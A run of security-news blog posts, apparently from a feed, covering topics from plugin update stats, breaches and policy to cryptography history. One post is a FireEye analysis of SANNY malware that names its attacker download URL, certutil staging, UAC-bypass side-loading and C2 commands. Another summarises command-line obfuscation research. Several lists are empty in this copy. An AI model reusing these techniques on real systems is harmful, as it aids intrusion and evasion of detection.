| # Plugin Downloads | Avg Days Since Last Update |
|---|---|
| +10,000,000 | 65 |
| 9,999,999 - 1,000,000 | 150 |
| 999,999 - 100,000 | 458 |
| 99,999 - 10,000 | 941 |
| 9,999 - 1,000 | 1296 |
| 999 - 100 | 991 |
| < 99 | 107* |
* This is because these are newly uploaded plugins actively being developed.
Conclusion
When I originally began my research into the aforementioned type of widespread exploitation of recently published vulnerabilities I had some expectations as to how it would turn out. I had expected the same categories of vulnerabilities across all platforms to receive equal amounts of attention. What I found was that specific vulnerabilities like LFI were favored over other vulnerabilities that I had expected to be more popular such as SQL injection.
What I did not expect is the amount of traffic generated by widespread deployment of scanning tools by enterprise IT staff. While it appears the multiple routine daily self scans appear excessive, at least they’re focused on their own site’s security. With the proliferation of new vulnerability scanning tools becoming readily available it’s important that software is audited and vulnerabilities are reported responsibly, fixed and publicly disclosed. This cycle of research, repair and publish is the current best way to keep systems safe and secure.
The post Life Cycle of a Web App 0 Day appeared first on Liquidmatrix Security Digest.
Photo Credit: republica
Recently, we learned that it seems authorities have identified our friend, Guccifer 2.0. The main mechanism for this is that through Guccifer 2.0’s frequent communications via Twitter and ProtonMail, on one occasion he neglected to notice he was not connected to his favorite VPN service, Elite VPN. This means authorities were able to get his actual IP address when he was communicating openly while engaging in his portion of the influence operation.
The marquee event of the security industry is fast approaching – the 2018 RSA Conference will take place in San Francisco April 16 to 20. This is a highlight of the year for all of us at CA Veracode, and we will have a major presence there, in part because of the sheer size of this event – both in terms of attendance and scale. It’s definitely the leading business-focused security show, and we know that every AppSec vendor will be there, along with every AppSec practitioner from both a manager and purchasing perspective.
Are you planning to attend? I always find this event valuable, and look forward to attending every year. In particular, I always come home with a new understanding of the current security problems that are top of mind for most organizations, and that they are trying to solve. Security is a fast-moving space, and both the problems and solutions are constantly evolving. For instance, when CA Veracode first started going to RSA, we spent a lot of time at the booth answering “what is application security?” Then in a few short years, we were fielding questions from attendees desperate for guidance on getting an AppSec program off the ground as soon as possible.
This year, one of the problems I expect to hear a lot about is also the subject of my speaking session – the risk of open source components. We’re finding this is a top-of-mind issue among our customer base, and visibility is most often the crux of the issue. Developers have increasingly incorporated open source components into the code they’re writing, resulting in applications that today often feature more open source code than in-house code. In fact, 70 percent to 90 percent of Java applications are now made up of open source components. But what if there’s an announcement about a serious vulnerability in an open source component? Would you know if it’s in use in your organization? Most likely, you would not. In my speaking session, I’ll explore this problem and offer some practical tips on balancing the need for speed with the need for security.
Check out this short video featuring more of my thoughts on application security in general, and RSA in particular.
And find out more about CA Veracode’s presence at RSA this year.
Hope to see you there!
In the third week of March 2018, through FireEye’s Dynamic Threat Intelligence, FireEye discovered malicious macro-based Microsoft Word documents distributing SANNY malware to multiple governments worldwide. Each malicious document lure was crafted in regard to relevant regional geopolitical issues. FireEye has tracked the SANNY malware family since 2012 and believes that it is unique to a group focused on Korean Peninsula issues. This group has consistently targeted diplomatic entities worldwide, primarily using lure documents written in English and Russian.
As part of these recently observed attacks, the threat actor has made significant changes to their usual malware delivery method. The attack is now carried out in multiple stages, with each stage being downloaded from the attacker’s server. Command line evasion techniques, the capability to infect systems running Windows 10, and use of recent User Account Control (UAC) bypass techniques have also been added.
The following two documents, detailed below, have been observed in the latest round of attacks:
MD5 hash: c538b2b2628bba25d68ad601e00ad150
SHA256
hash:
b0f30741a2449f4d8d5ffe4b029a6d3959775818bf2e85bab7fea29bd5acafa4
Original Filename: РГНФ 2018-2019.doc
The document shown in Figure 1 discusses Eurasian geopolitics as they relate to China, as well as Russia’s security.
Figure 1: Sample document written in Russian
MD5 hash: 7b0f14d8cd370625aeb8a6af66af28ac
SHA256
hash:
e29fad201feba8bd9385893d3c3db42bba094483a51d17e0217ceb7d3a7c08f1
Original Filename: Copy of communication from Security
Council Committee (1718).doc
The document shown in Figure 2 discusses sanctions on humanitarian operations in the Democratic People’s Republic of Korea (DPRK).
Figure 2: Sample document written in English
In both documents, an embedded macro stores the malicious command line to be executed in the TextBox property (TextBox1.Text) of the document. This TextBox property is first accessed by the macro to execute the command on the system and is then overwritten to delete evidence of the command line.
In Stage 1, the macro leverages the legitimate Microsoft Windows certutil.exe utility to download an encoded Windows Batch (BAT) file from the following URL: http://more.1apps[.]com/1.txt. The macro then decodes the encoded file and drops it in the %temp% directory with the name: 1.bat.
There were a few interesting observations in the command line:
Figure 3: Malicious BAT file stored as an
encoded file to appear as an SSL certificate
Once decoded and executed, the BAT file from Stage 1 will download an encoded CAB file from the base URL: hxxp://more.1apps[.]com/. The exact file name downloaded is based on the architecture of the operating system.
Similarly, based on Windows operating system version and architecture, the CAB file is installed using different techniques. For Windows 10, the BAT file uses rundll32 to invoke the appropriate function from update.dll (component inside setup.cab).
For other versions of Windows, the CAB file is extracted using the legitimate Windows Update Standalone Installer (wusa.exe) directly into the system directory:
The BAT file also checks for the presence of Kaspersky Lab Antivirus software on the machine. If found, CAB installation is changed accordingly in an attempt to bypass detection:
As described in the previous section, the BAT file will download the CAB file based on the architecture of the underlying operating system. The rest of the malicious activities are performed by the downloaded CAB file.
The CAB file contains the following components:
install.bat will perform the following essential activities:
ipnet.dll is the main component inside the CAB file that is used for performing malicious activities. This DLL exports the following two functions:
The ServiceMain function first performs a check to see if it is being run in the context of svchost.exe or rundll32.exe. If it is being run in the context of svchost.exe, then it will first start the system service before proceeding with the malicious activities. If it is being run in the context of rundll32.exe, then it performs the following activities:
SANNY malware uses the FTP protocol as the C2 communication channel.
The FTP configuration information used by SANNY malware is encoded and stored inside ipnet.ini.
This file is Base64 encoded using the following custom character set: SbVIn=BU/dqNP2kWw0oCrm9xaJ3tZX6OpFc7Asi4lvuhf-TjMLRQ5GKeEHYgD1yz8
Upon decoding the file, the following credentials can be recovered:
It then continues to perform the connection to the FTP server decoded from the aforementioned config file, and sets the current directory on the FTP server as “htdocs” using the FtpSetCurrentDirectoryW function.
For reconnaissance purposes, SANNY malware executes commands on the system to collect information, which is sent to the C2 server.
System information is gathered from the machine using the following command:
The list of running tasks on the system is gathered by executing the following command:
After successful connection to the FTP server decoded from the configuration file, the malware searches for a file containing the substring “to everyone” in the “htdocs” directory. This file will contain C2 commands to be executed by the malware.
Upon discovery of the file with the “to everyone” substring, the malware will download the file and then performs actions based on the following command names:
The uploaded file is compressed and encrypted using the routine described later in the Compression and Encoding Data section.
C2 Command | Purpose |
chip | Update the FTP server config file |
pull | Upload a file from the machine |
put | Copy an existing file to a new destination |
/user | Create a new process with explorer.exe access token |
default command | Execute a program on the machine using WinExec() |
SANNY malware uses an interesting mechanism for compressing the contents of data collected from the system and encoding it before exfiltration. Instead of using an archiving utility, the malware leverages Shell.Application COM object and calls the CopyHere method of the IShellDispatch interface to perform compression as follows:
NTWDBLIB.dll – This component from the CAB file will be extracted to the %windir%\system32 directory. After this, the cliconfg command is executed by the BAT file.
The purpose of this DLL module is to launch the install.bat file. The file cliconfg.exe is a legitimate Windows binary (SQL Client Configuration Utility), loads the library NTWDBLIB.dll upon execution. Placing a malicious copy of NTWDBLIB.dll in the same directory as cliconfg.exe is a technique known as DLL side-loading, and results in a UAC bypass.
Update.dll – This component from the CAB file is used to perform UAC bypass on Windows 10. As described in the BAT File Analysis section, if the underlying operating system is Windows 10, then it uses update.dll to begin the execution of code instead of invoking the install.bat file directly.
The main actions performed by update.dll are as follows:
This activity shows us that the threat actors using SANNY malware are evolving their malware delivery methods, notably by incorporating UAC bypasses and endpoint evasion techniques. By using a multi-stage attack with a modular architecture, the malware authors increase the difficulty of reverse engineering and potentially evade security solutions.
Users can protect themselves from such attacks by disabling Office macros in their settings and practicing vigilance when enabling macros (especially when prompted) in documents, even if such documents are from seemingly trusted sources.
SHA256 Hash | Original Filename |
b0f30741a2449f4d8d5ffe4b029a6d3959775818bf2e85bab7fea29bd5acafa4 | РГНФ 2018-2019.doc |
e29fad201feba8bd9385893d3c3db42bba094483a51d17e0217ceb7d3a7c08f1
| Copy of communication from Security Council Committee (1718).doc |
eb394523df31fc83aefa402f8015c4a46f534c0a1f224151c47e80513ceea46f | 1.bat |
a2e897c03f313a097dc0f3c5245071fbaeee316cfb3f07785932605046697170 | Setup.cab (64-bit) |
a3b2c4746f471b4eabc3d91e2d0547c6f3e7a10a92ce119d92fa70a6d7d3a113 | Setup.cab (32-bit) |
Cyberbullying: if you have a tween or teen and haven’t workshopped this with your kids then you need to put a time in the diary now. Cyberbullying is one of the biggest challenges our children’s generation will face and unfortunately, it isn’t going away.
The recent tragic suicide of 14 year old Aussie girl Amy ‘Dolly’ Everett as a result of online bullying needs to be a wake-up call for parents. Many kids who are bullied online feel completely ashamed and publicly humiliated and can’t see a way past the embarrassment. They don’t have the skills to handle it and don’t know where to seek help. Yes, we are first-generation digital parents BUT we need to prioritise our children’s safety and well-being online. And sort this out FAST!
In its 2016-17 annual report, the Office of the e-Safety Commissioner reveals an increase of 60% in the reported cases of cyberbullying compared with the previous year. The report also shows that:
And it isn’t just us parents that consider this to be a big issue – our teens are also concerned. A study of 5000 teens across eleven countries by Vodafone in 2015 showed that in fact over half the teens surveyed considered cyberbullying to be worse than face-to-face bullying, and that 43% believe it is a bigger problem for young people than drug abuse!
So, clearly we have a problem on our hands – and one that isn’t getting better over time.
Many parenting experts believe a lack of empathy to be a major factor in cyberbullying. In her book, Unselfie, US Parenting Expert Dr Michele Borba explains that we are in the midst of an ‘empathy crisis’ which is contributing to bullying behaviour. She believes teens today are far less empathetic than they were 30 years ago.
Giving children access to devices and social media before they have the emotional smarts to navigate the online world is another factor. You would be hard-pressed to find a child in Year 5 or 6 at a primary school in any Australian capital city who doesn’t have access to or own a smartphone. And once that phone has been given to your child, it’s impossible to supervise their every move. Within minutes they can join social media platforms (some creativity required on the age), enter chat rooms, and view highly disturbing images.
The younger the child, the less likely he or she is to have the emotional intelligence to either navigate tricky situations or make smart decisions online. Perhaps we should all take a lesson from Microsoft co-founder Bill Gates who made his kids wait till they were 14 until being given a phone?
There are no guarantees in life, but there are certain steps we can take to reduce the chance of our children being impacted by cyberbullying. Here are my top 5 suggestions:
So, let’s commit to doing what we can to protect our kids from cyberbullying. Your kids need to know that they can talk to you about anything that is bothering them online – even if it is tough or awkward. Dolly Everett’s final drawing, before she took her life, included the heart-rending caption ‘…speak even if your voice shakes.’ Please encourage your kids to do so.
Alex xx
The post Cyberbullying – How Parents Can Minimize Impact On Kids appeared first on McAfee Blogs.
Skilled attackers continually seek out new attack vectors, while employing evasion techniques to maintain the effectiveness of old vectors, in an ever-changing defensive landscape. Many of these threat actors employ obfuscation frameworks for common scripting languages such as JavaScript and PowerShell to thwart signature-based detections of common offensive tradecraft written in these languages.
However, as defenders' visibility into these popular scripting languages increases through better logging and defensive tooling, some stealthy attackers have shifted their tradecraft to languages that do not support this additional visibility. At a minimum, determined attackers are adding dashes of simple obfuscation to previously detected payloads and commands to break rigid detection rules.
In this DOSfuscation white paper, first presented at Black Hat Asia 2018, I showcase nine months of research into several facets of command line argument obfuscation that affect static and dynamic detection approaches. Beginning with cataloguing a half-dozen characters with significant obfuscation capabilities (only two of which I have identified being used in the wild), I then highlight the static detection evasion capabilities of environment variable substring encoding. Combining these techniques, I unveil four never-before-seen payload obfuscation approaches that are fully compatible with any input command on cmd.exe's command line. These obfuscation capabilities de-obfuscate in the current cmd.exe session for both interactive and noninteractive sessions, and avoid all command line logging. Finally, I discuss the building blocks required for these new encoding and obfuscation capabilities and outline several approaches that defenders can take to begin detecting this genre of obfuscation.
As a Senior Applied Security Researcher with FireEye's Advanced Practices Team, I am tasked with researching, developing and deploying new detection capabilities to FireEye's detection platform to stay ahead of advanced threat actors and their ever-changing tactics, techniques and procedures. FireEye customers have been benefiting from multiple layers of innovative obfuscation detection capabilities developed and deployed over the past nine months as a direct result of this research.
Download the DOSfuscation white paper today.
Daniel Bohannon (@danielhbohannon) is a Senior Applied Security Researcher on FireEye's Advanced Practices Team.
UPDATE: The Omnibus bill, which included the CLOUD Act, was passed by the Senate on Thursday night and signed into law by President Trump on Friday afternoon.
Congress is on the verge of passing a dangerous bill, known as the Clarifying Lawful Overseas Use of Data Act (“CLOUD Act”), which will have disastrous implications for privacy, as it would allow foreign governments to access private data on American soil while circumventing important privacy protections. In particular, it poses a serious threat to foreign journalists who report on repressive regimes.
Current laws dictate that a foreign prosecutor who wants to access data stored by American companies cannot do so directly, since they lack jurisdiction. Instead, they have to go through the “mutual legal assistance treaty” (MLAT) process—which requires sign off from the Justice Department and an order by a judge in each individual case.
MLATs are agreements between two countries in which each agrees to help the other with criminal investigations. The U.S. has signed MLATs with more than 60 countries.
But under the CLOUD Act, instead of relying on the MLAT process, foreign governments could bypass this system and instead demand data directly from technology companies in the United States if they negotiate a blanket agreement with the executive branch.
This poses a real risk for journalists in repressive regimes who rely on internet services provided by American technology companies. For example, say that a journalist in a country like Egypt uses Gmail, and therefore some of their emails are stored on one of Google’s server farms in the United States. In recent years, Egypt has aggressively cracked down on dissent and put hundreds of journalists in jail on politically-motivated charges of terrorism.
Egypt is a strong U.S. ally, and the country currently has an MLAT with the United States. The CLOUD Act gives the power to certify governments under this act to the Trump administration. Trump has heaped praise on Egypt’s military dictator Abdel Fattah el-Sisi. So would his Justice Department give Egypt a blanket certification to proceed under the CLOUD Act?
If the Trump administration does label Egypt a "qualifying foreign government," then whenever the Egyptian government decides that it wants access to a journalist’s emails stored in the United States in order to prosecute that journalist, it could simply request that Google hand over the emails. The Justice Department does not need to approve each individual request, and neither does a federal judge.
Unless the technology company found a request so egregious that it goes to court to contest it, no federal judge would even know about the surveillance demand from a foreign government. Foreign governments would be given power to wiretap on U.S. soil in conversations that might involve U.S. persons.
To make matters worse, Congress has attached the CLOUD Act to this week’s $1.3 trillion Omnibus spending bill that includes allocation of funds to a wide variety of projects, including the border wall. On March 22, the United States House of Representatives passed the Omnibus spending bill. While it still must pass the Senate to become law, because the spending bill touches so many controversial issues, there will likely be no debate and no hearings on the CLOUD Act—despite its significance for the future of press and information freedom.
Proponents of the bill claim the process now is cumbersome and time consuming. It’s true the MLA process may takes time, but that’s for good reason: to ensure due process. It is immeasurably preferable to legislation that would expand law enforcement’s reach across the world.
Writing in Lawfare, Neema Singh Guliana of the ACLU and Naureen Shah of Amnesty International point out the serious problems with the CLOUD Act’s approach:
"In such a situation, the only real fail-safe to prevent a technology company from inadvertently acceding to a harmful data request is the technology company itself. But would even a well-intentioned technology company, particularly a small one, have the expertise and resources to competently assess the risk that a foreign order may pose to a particular human rights activist? Would it know, as in the example above, when to view Turkey’s terrorism charges in a particular case as baseless? In many cases, companies would likely rely on the biased assessments by foreign courts and fulfill requests."
The CLOUD Act has worrying implications not just for everyone's privacy rights, but to the ability of journalists around the world to protect their data. Urge your representatives to oppose the Omnibus spending bill as long as it includes the dangerous CLOUD Act..
This week, Michael and Paul interview Fred Scholl, President of Monarch Information Networks! Then the articles of discussion and tracking security innovation! All that and more, on this episode of Business Security Weekly!
Full Show Notes: https://wiki.securityweekly.com/BSWEpisode78
Visit https://www.securityweekly.com/bsw for all the latest episodes!
We all love a good getaway, and as we look ahead to spring and summer, most of us are already planning our next vacation. To do that, we’ll tap one of the many online travel agencies out there to help us organize our plans. Only now, some travel-goers may have to stop trip planning so they can start planning for credit monitoring, as one of the most popular travel agencies, Orbitz.com, was hit with a data breach that may have exposed as many as 880,000 payment cards.
The online travel agency reported two separate data disclosures, as an attacker may have accessed customers’ personal information shared on Orbitz.com and a handful of associated websites between Jan. 1, 2016 between Dec. 22, 2016.
What’s more – in addition to the payment cards, hackers may have also stolen customers’ full name, date of birth, phone number, email address, physical and/or billing address and gender information. Now, with all this personal information potentially out in the open, it’s important affected customers start thinking about protecting their personal identities. To do just that, follow these tips:
And, of course, to stay on top of the latest consumer and mobile security threats, be sure to follow me and @McAfee_Home on Twitter, listen to our podcast Hackable? and ‘Like’ us on Facebook.
The post Travel Agency Orbitz Hit with Data Breach, 880,000 Payment Cards Affected appeared first on McAfee Blogs.
In a technology-driven age, entrepreneurs, organizations, and nations succeed or fail in large part based on how effectively they develop, implement, and protect technology. One of the most notable aspects of “The Economic Impact of Cybercrime” report released recently is the prominence of cyber espionage, the cyber-theft of intellectual property (IP) and business confidential information. The report from the Center for Strategic and International Studies (CSIS) and McAfee estimates that the cost of cybercrime to the global economy is around $600 billion annually, or 0.8% of global GDP, and cyber espionage accounts for 25% of that damage, more than any other category of cybercrime. Furthermore, the report argues that “Internet connectivity has opened a vast terrain for cybercrime, and IP theft goes well beyond traditional areas of interest to governments, such as military technologies.”
When we think of cyber espionage, we tend to think of events such as the Chinese military’s theft of the F-35 joint strike fighter’s blueprints from U.S. corporations. Last month, the Associated Press reported a similar event where Russian hackers attacked several U.S. corporations attempting to steal drone technologies used by the U.S. military.
But there are also cases such as 2009 Operation Aurora attacks, in which nation-state hackers allegedly tied to the China’s People’s Liberation Army sought to steal IP and business confidential information from IT, chemical, web services, and manufacturing firms as well as military contractors. There is also the example from the 2004 Nortel Networks cyber-attacks that allegedly compromised IP later used to strengthen the market position of Chinese telecommunications giant Huawei.
Such examples suggest that nation states are seeking to steal IP not only to enhance their military strength, but also to achieve technological leadership throughout the rest of their economies without the investments, human talent, or other foundational elements associated with technical innovation.
Put simply, cyber espionage isn’t just the U.S. military’s problem. Organizations beyond military contractors should assume they could become targets of such cybercrimes.
If enough of a profit motive is there, it’s wise to assume that the hacking expertise and tools to steal IP are within your would-be attackers’ reach. Furthermore, it’s wise to assume that the beneficiaries of commercial cyber espionage are capable of copying your compromised product designs and building them into their own products, just as Chinese government engineers had integrated stolen F-35 design features into China’s J-20 stealth fighter.
The cyber theft of such IP could result in lost market share and revenues for corporations. Such theft could smother a nation’s most promising new startups in their Series A cradles, or drive its most innovative mid-sized companies out of business, erasing wealth and jobs in the process.
The CSIS report identified three key cyber espionage challenges facing organizations and nations today.
Cyber espionage maintains a lower profile than critical infrastructure attacks, ransomware, mega-consumer data hacks, and identity theft and fraud, and other threats in part because there’s no incentive to report cyber espionage incidents. Victimized companies don’t wish to report them, if indeed they ever become aware of them. The attackers don’t wish to alert their victims or the public to their crimes. Victim organizations still own the compromised IP or business confidential information and could easily attribute declines in market share and revenue to any number of tactical and strategic moves on the part of competitors. Unsurprisingly, such incidents go undiscovered and under reported.
As in every other area of cybersecurity, the difficulty of attribution makes the policing of cyber espionage complicated if not near impossible. Attacks of this nature are sophisticated and designed to obscure the identity of the actors behind them. Governments are in the best position to determine attribution because they can combine the analysis of technical cyber-attack forensics with analysis of traditional intelligence to identify actors. But holding adversaries accountable isn’t easy given the nature of the required inputs and analysis that enable attribution.
For instance, the U.S. government has accused Chinese hackers associated with the People’s Liberation Army (PLA) of being responsible for half of the cyberespionage activity targeting U.S. “IP and commercially valuable information,” and claimed that this activity had inflicted $20 billion in economic damage by 2014.
But the evidence used to make such attribution determinations is not easily exposed without revealing the means and methods by which cyber threat researchers and government agencies came by it.
The CSIS report revisits the 2015 Barack Obama-Xi Jinping Summit, where the leaders of the U.S. and China agreed that their intelligence communities would cease to conduct “commercial espionage,” while allowing each nation to engage in military-related espionage appropriate to their respective national security interests. The nations comprising the world’s 20 largest economies agreed to a similar “no-commercial espionage” pledge later that year.
Any such agreement obviously requires accountability mechanisms to have an impact. But it also requires that the nations agree to specific and consistent definitions of what constitutes commercial versus military espionage.
CSIS notes that the evidence is mixed as to whether the Chinese government has slowed commercial espionage in accordance with the 2015 agreement. But the think tank notes that despite high level dialogues and pledges between nations, officials from multiple countries maintain that commercial IP theft continues unabated.
Last month’s Worldwide Threat Assessment of the U.S. Intelligence Community confirmed that China and other nation-state actors are continuing to use cyber-attacks to “acquire U.S. intellectual property and proprietary information to advance their own economic and national security objectives.”
The assessment goes so far as to suggest that because the disruptive technologies of the 21st century are being developed by public and private competitors around the world, any significant loss of U.S. IP in pivotal areas—artificial intelligence, 5G networking, 3D printing, nano-materials, quantum computing, biotech, and advanced robotics—could ultimately weaken U.S. military and economic power, and result in a loss of national competitiveness in the global marketplace, as well as on the battlefield.
At its most basic level, the theft of IP and business confidential information is a theft of the future. It’s a theft of future national security, future business for companies, future wealth for a nation’s communities, and future high paying jobs and standards of living for a nation’s citizens.
Because technologies don’t fit neatly within civilian and military sector silos, particularly throughout their lifecycles, it’s important for organizations to take cyber espionage seriously. Even beyond technology providers, any organization producing anything of great value should take care to consider that that great value is valuable to others, and remember that anything of great value must be protected.
Please go here for more information on the report’s assessments.
The post Economic Impact of Cybercrime: Why Cyber Espionage isn’t Just the Military’s Problem appeared first on McAfee Blogs.
The enormous growth of DevOps is no accident. As organizations attempt to navigate the complexities of digital business, speed and flexibility are everything. Yet somewhere between innovation and disruption lies a basis fact: A DevOps initiative is only as good as the security framework that supports it.
Unfortunately, many organizations focus on speed and precision at the expense of security. The problem, according to a 2017 report from Gartner, is that DevSecOps is about speed and precision, yet security is often seen by development managers as a training burden or blocking issue. As a result, organizations become mired in a “fix it later” mentality.*
Overcoming this hurdle can prove daunting. Tossing money at more security and more training isn't necessarily the answer. A better approach centers on developing security champions who convey security priorities to colleagues. This approach boosts buy-in. It also speeds the feedback loop and helps translate security priorities into secure development practices that span groups and jargon.
Code Red
Establishing a DevSecOps framework is at the center of an agile and flexible enterprise. But putting the concept into motion is easier said than done. For one thing, business leaders must move beyond the perception that security is a roadblock for effective DevOps. When security is successfully integrated into processes and workflows, it creates a more streamlined and secure development environment. For another, they must adopt the right methods and techniques.
Gartner points out: “The use of a security champion grants organizations an individual who can act as an on-site advisor and as an expert who can anticipate potential design or implementation problems early in the development process. Champions can reduce the perceived complexity of secure coding by providing immediate, real-world examples in the team's code and can focus on immediate remediation rather than more abstract, less relatable issues. ”*
Moving Beyond DevOps
There are several steps that can help an organization cultivate security champions and make the leap to DevSecOps: Ask for volunteers, Establish a minimum baseline of what it takes to be qualified as a security champion, Provide training for these basic skills, Set expectations about time commitments, Train team leaders whenever possible.* Please read the report for a fuller description of these topics.
A Winning Approach
While there is no simple or single way to transform DevOps into DevSecOps, security champions can serve as a powerful tool. They can help an organization adopt a best practice approach.
Learn how to take your DevOps program to the next level by cultivating security champions.
*Gartner - Magic Quadrant for Application Security Testing, Ayal Tirosh, Dionisio Zumerle, Mark Horvath, 19 March 2018
This week, John Strand takes the show by the reigns and conducts an outstanding interview with Brian Honan, who is recognised internationally as an expert on cybersecurity! John also gives a tech segment on how enterprises defend against attacks! All that and more, here on Enterprise Security Weekly!
Full Show Notes: https://wiki.securityweekly.com/ES_Episode84
F-Secure invites our fellows to share their expertise and insights. For more posts by Fennel, click here.
In a previous article, I mentioned the cryptowars against the US government in the 1990s. Some people let me know that it needed more explanation. Ask and thou shalt receive! Here is a brief history of the 1990s cryptowars and cryptography in general.
Crypto in this case refers to cryptography (not crypto-currencies like BitCoin). Cryptography is a collection of clever ways for you protect information from prying eyes. It works by transforming the information into unreadable gobbledegook (this process is called encryption). If the cryptography is successful, only you and the people you want can transform the gobbledegook back to plain English (this process is called decryption).
People have been using cryptography for at least 2500 years. While we normally think of generals and diplomats using cryptography to keep battle and state plans secret, it was in fact used by ordinary people from the start. Mesopotamian merchants used crypto to protect their top secret sauces, lovers in ancient India used crypto to protect their messages, and mystics in ancient Egypt used crypto to keep more personal secrets.
However, until the 1970s, cryptography was not very sophisticated. Even the technically and logistically impressive Enigma machines, used by the Nazis in their repugnant quest for Slavic slaves and Jewish genocide, were just an extreme version of one of the simplest possible encryptions: a substitution cipher. In most cases simple cryptography worked fine, because most messages were time sensitive. Even if you managed to intercept a message, it took time to work out exactly how the message was encrypted and to do the work needed to break that cryptography. By the time you finished, it was too late to use the information.
World War II changed the face of cryptography for multiple reasons – the first was the widespread use of radio, which meant mass interception of messages became almost guaranteed instead of a matter of chance and good police work. The second reason was computers. Initially computers meant women sitting in rows doing mind-numbing mathematical calculations. Then later came the start of computers as we know them today, which together made decryption orders of magnitude faster. The third reason was concentrated power and money being applied to surveillance across the major powers (Britain, France, Germany, Russia) leading to the professionalization and huge expansion of all the relatively new spy agencies that we know and fear today.
The result of this huge influx of money and people to the state surveillance systems in the world’s richest countries (i.e. especially the dying British Empire, and then later America’s growing unofficial empire) was a new world where those governments expected to be able to intercept and read everything. For the first time in history, the biggest governments had the technology and the resources to listen to more or less any conversation and break almost any code.
In the 1970s, a new technology came on the scene to challenge this historical anomaly: public key cryptography, invented in secret by British spies at GCHQ and later in public by a growing body of work from American university researchers Merkle, Diffie, Hellman, Rivest, Sharmir, and Adleman. All cryptography before this invention relied on algorithm secrecy in some aspect – in other words the cryptography worked by having a magical secret method only known to you and your friends. If the baddies managed to capture, guess, or work out your method, decrypting your messages would become much easier.
This is what is known as “security by obscurity” and it was a serious problem from the 1940s on. To solve this, surveillance agencies worldwide printed thousands and thousands of sheets of paper with random numbers (one-time pads) to be shipped via diplomatic courier to embassies and spies around the world. Public key cryptography changed this: the invention meant that you could share a public key with the whole world, and share the exact details of how the encryption works, but still protect your secrets. Suddenly, you only had to guard your secret key, without ever needing to share it. Suddenly it didn’t matter if someone stole your Enigma machine to see exactly how it works and to copy it. None of that would help your adversary.
And because this was all normal mathematical research, it appeared in technical journals, could be printed out and go around the world to be used by anyone. Thus the US and UK governments’ surveillance monopoly was in unexpected danger. So what did they do? They tried to hide the research, and they treated these mathematics research papers as “munitions”. It became illegal to export these “weapons of war” outside the USA without a specific export license from the American government, just like for tanks or military aircraft.
This absurd situation persisted into the early 1990s when two new Internet-age inventions made their continued monopoly on strong cryptography untenable. Almost simultaneously, Zimmermann created a program (PGP) to make public key cryptography easy for normal people to use to protect their email and files, and Netscape created the first SSL protocols for protecting your connection to websites. In both cases, the US government tried to continue to censor and stop these efforts. Zimmermann was under constant legal threat, and Netscape was forced to make an “export-grade” SSL with dramatically weakened security. It was still illegal to download, use, or even see, these programs outside the USA.
But by then the tide had turned. People started setting up mirror websites for the software outside the USA. People started putting copies of the algorithm on their websites as a protest. Or wearing t-shirts with the working code (5 lines of Perl is all that’s needed). Or printing the algorithm on posters to put up around their universities and towns. In the great tradition of civil disobedience against injustice, geeks around the world were daring the governments to stop them, to arrest them. Both the EFF (Electronic Frontier Foundation) and the EPIC (Electronic Privacy Information Center) organizations were created as part of this fight for our basic (digital) civil rights.
In the end, the US government backed down. By the end of the 1990s, the absurd munitions laws still existed but were relaxed sufficiently to allow ordinary people to have basic cryptographic protection online. Now they could be protected when shopping at Amazon without worrying that their credit card and other information would be stolen in transit. Now they could be protected by putting their emails in an opaque envelope instead of sending all their private messages via postcard for anyone to read.
However that wasn’t the end of the story. Like in so many cases “justice too long delayed is justice denied”. The internet is becoming systematically protected by encryption in the last two years thanks to the amazing work of LetsEncrypt. However, we have spent almost 20 years sending most of our browsing and search requests via postcard, and that “export-grade” SSL the American government forced on Netscape in the 1990s is directly responsible for the existence of the DROWN attack putting many systems at risk even today.
Meanwhile, thanks to the legal threats, email encryption never took off. We had to wait until the last few years for the idea of protecting everybody’s communications with cryptography to become mainstream with instant messaging applications like Signal. Even with this, the US and UK governments continue to lead the fight to stop or break this basic protection for ordinary citizens, despite the exasperated mockery from everyone who understands how cryptography works.
WiTopia personalVPN in brief:
I’ve grown to expect certain things from a VPN service: a nice-looking and easy-to-use desktop program, and extra features like double VPNs, dedicated torrent servers, or sometimes Netflix compatibility. PersonalVPN from WiTopia confounds all those expectations a little, but is still a great option to consider.
China is a region that has been targeted with mobile malware for over a decade, as malware authors there are continually looking at different tactics to lure victims. One of the most innovative tactics that we have come across in the past several years is to get victims to buy discounted devices from sellers that have compromised a smartphone. And now, one of these campaigns, Android.MobilePay (aka dubbed RottenSys) is making headlines, though McAfee has been aware of it for over two years. The tactic used by the author(s)/distributors is straightforward; they install fake apps on a device that pretend to provide a critical function, but often don’t get used.
RottenSys is stealthy. It doesn’t provide any secure Wi-Fi related service but is rather an advanced strain of malware that swoops almost all sensitive Android permissions to enable its malicious activities. In order to avoid detection, RottenSys doesn’t come with an initial malicious component and or immediately initiate malicious activity. The strain has rather been designed to communicate with its command-and-control servers to obtain the actual malicious code in order to execute it and following which installs the malicious code onto the device.
Given it installs any new malicious components from its C&C server, RottenSys can be used to weaponize or take full control over millions of infected devices. In fact, it already seems that the hackers behind RottenSys have already started turning infected devices into a massive botnet network.
This attack acts as an indication of change, as over the past two years the mechanism of fraud has adapted. In the past, scams such as this typically have used premium SMS scams to generate revenue, which reach out to a premium number and make small charges that go unnoticed over the course of an extensive period. As described in detail in our Mobile Threat Report: March 2018, we have seen traditional attack vectors, such as premium text messages and toll fraud replaced by botnet ad fraud, pay-per-download distribution scams, and crypto mining malware that can generate millions in revenue.
Long story short – it’s important to still take precautionary steps to avoid future infection from this type of malware scheme. The good news is, you can easily check if your device is being infected with RottenSys. Go to Android system settings→ App Manager, and then look for the following possible malware package names:
Beyond that, you can protect your device by following these tips:
And, of course, to stay on top of the latest consumer and mobile security threats, be sure to follow me and @McAfee_Home on Twitter, listen to our podcast Hackable? and ‘Like’ us on Facebook.
The post RottenSys Malware Reminds Users to Think Twice Before Buying a Bargain Phone appeared first on McAfee Blogs.
We have reached peak data breach — the number of data breaches and the sensitivity of the information exposed is massive and growing. Unprecedented amounts of data are available on the dark web, and password sharing has run rampant, rendering knowledge-based authentication questions (KBAs) obsolete. And all of these factors impact the state of fraud today.
$14 billion are lost annually to fraud, and 41% of consumers blame the brand for the fraud happening. Together, fraud loss is not only detrimental in terms of monetary loss, but it acts as a reputation risk.
The call center has been identified as the achilles heel — a point of entry for fraudsters into enterprises. Once an individual is authenticated via the phone channel, the caller can make changes to passwords, account information, and shipping addresses. Additionally, fraudsters can determine which agents are the most susceptible to social engineering and use other fraud vectors to take advantage of the call center, and ultimately work towards their goal of financial gain.
